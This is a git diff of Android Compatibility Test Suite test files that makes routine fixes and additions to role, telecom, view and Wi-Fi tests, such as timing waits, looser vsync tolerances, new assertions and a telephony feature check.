diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 60cac6a..00ddc34 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -255,6 +255,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is force stopped, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         clearPackageData(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
@@ -285,6 +289,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is uninstalled, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         uninstallPackage(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index fe35f73..f31dcf1 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -30,7 +30,10 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.truth.Expect;
+
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -52,6 +55,8 @@
         }
     }
 
+    @Rule public final Expect mExpect = Expect.create();
+
     private Context mContext;
     private PackageManager mPackageManager;
 
@@ -114,7 +119,8 @@
             if ((productFlags & e.flags) == 0) {
                 final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
                         PackageManager.MATCH_DEFAULT_ONLY);
-                assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
+                mExpect.withMessage("API intent %s not implemented by any activity", e.intent)
+                        .that(ri).isNotNull();
             }
         }
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 1bd1b27..dc26f6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -95,6 +95,37 @@
         verifySimulateRingAndUserPickup(call, connection);
     }
 
+    public void testHoldAfterAudioProcessingFromCallScreening() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
+
+        verifySimulateRingAndUserPickup(call, connection);
+
+        call.hold();
+        assertCallState(call, Call.STATE_HOLDING);
+        call.unhold();
+        assertCallState(call, Call.STATE_ACTIVE);
+    }
+
     public void testAudioProcessingFromCallScreeningDisallow() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
index ab4ce58..fbf9f9a 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -408,16 +408,25 @@
     Callback* cb64 = new Callback("cb64");
     auto start = now();
 
+    auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
+                           NOMINAL_VSYNC_PERIOD)
+                           .count();
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
     AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
     AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
 
     std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
-    ALooper_pollAll(16, nullptr, nullptr, nullptr);
+    // Ensure that callbacks are seen by the looper instance at approximately
+    // the same time, and provide enough time for the looper instance to process
+    // the delayed callback and the requested vsync signal if needed.
+    ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
     verifyRefreshRateCallback(env, cb, 1);
-    verifyCallback(env, cb64, 1, start, DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11);
+    verifyCallback(env, cb64, 1, start,
+                   DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
     const auto delayToTestFor32Bit =
-            sizeof(long) == sizeof(int64_t) ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11 : ZERO;
+        sizeof(long) == sizeof(int64_t)
+            ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
+            : ZERO;
     verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
     AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
 }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 66b1539..7ab5143 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -19,6 +19,7 @@
 import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
 import static android.opengl.GLES20.glClear;
 import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glFinish;
 
 import android.app.Activity;
 import android.content.pm.ActivityInfo;
@@ -258,6 +259,7 @@
         int surfaceUpdateCount = mSurfaceUpdatedCount;
         runOnGLThread(() -> {
             callback.drawFrame(mSurfaceWidth, mSurfaceHeight);
+            glFinish();
             if (!mEgl.eglSwapBuffers(mEglDisplay, mEglSurface)) {
                 throw new RuntimeException("Cannot swap buffers");
             }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
                     mMySync.pendingSync.set(MySync.NETWORK_INFO);
                     mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
                             WifiP2pManager.EXTRA_NETWORK_INFO, null);
+                    Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+                            + mMySync.expectedNetworkInfo);
                     mMySync.notify();
                 }
             }
@@ -520,6 +522,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
     }
 
     private String getDeviceName() {
@@ -604,6 +610,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         WifiP2pGroupList persistentGroups = getPersistentGroups();
         assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         resetResponse(mMyResponse);
         ShellIdentityUtils.invokeWithShellPermissions(() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
index 3e9fef4..4876ff0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
@@ -29,4 +29,9 @@
         PackageManager packageManager = context.getPackageManager();
         return packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI_DIRECT);
     }
+
+    public static boolean isTelephonySupported(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 0b548fb..fd61914 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -632,10 +632,10 @@
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
-        boolean onSoftapInfoChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
         boolean onBlockedClientConnectingCalled = false;
+        int onSoftapInfoChangedCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -647,9 +647,9 @@
             }
         }
 
-        public boolean getOnSoftapInfoChangedCalled() {
+        public int getOnSoftapInfoChangedCalledCount() {
             synchronized(softApLock) {
-                return onSoftapInfoChangedCalled;
+                return onSoftapInfoChangedCalledCount;
             }
         }
 
@@ -734,7 +734,7 @@
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
                 currentSoftApInfo = softApInfo;
-                onSoftapInfoChangedCalled = true;
+                onSoftapInfoChangedCalledCount++;
             }
         }
 
@@ -1472,7 +1472,7 @@
                     executor.runAll();
                     // Verify callback is run on the supplied executor and called
                     return callback.getOnStateChangedCalled() &&
-                            callback.getOnSoftapInfoChangedCalled() &&
+                            callback.getOnSoftapInfoChangedCalledCount() > 0 &&
                             callback.getOnSoftApCapabilityChangedCalled() &&
                             callback.getOnConnectedClientCalled();
                 });
@@ -1633,8 +1633,9 @@
                     "SoftAp channel and state mismatch!!!", 5_000,
                     () -> {
                         executor.runAll();
-                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState() &&
-                                2462 == callback.getCurrentSoftApInfo().getFrequency();
+                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
+                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
+                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
                     });
 
             // stop tethering which used to verify stopSoftAp
@@ -2311,9 +2312,11 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                .getNetworkCountryIso();
-        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        if (WifiFeature.isTelephonySupported(getContext())) {
+            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                    .getNetworkCountryIso();
+            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        }
     }
 
     /**
@@ -2778,14 +2781,6 @@
             // Now trigger scan and ensure that the device does not connect to any networks.
             mWifiManager.startScan();
             ensureNotConnected();
-
-            // Toggle Wifi off/on should clean the state.
-            setWifiEnabled(false);
-            setWifiEnabled(true);
-
-            // Trigger a scan & wait for connection to one of the saved networks.
-            mWifiManager.startScan();
-            waitForConnection();
         } finally {
             uiAutomation.dropShellPermissionIdentity();
             setWifiEnabled(false);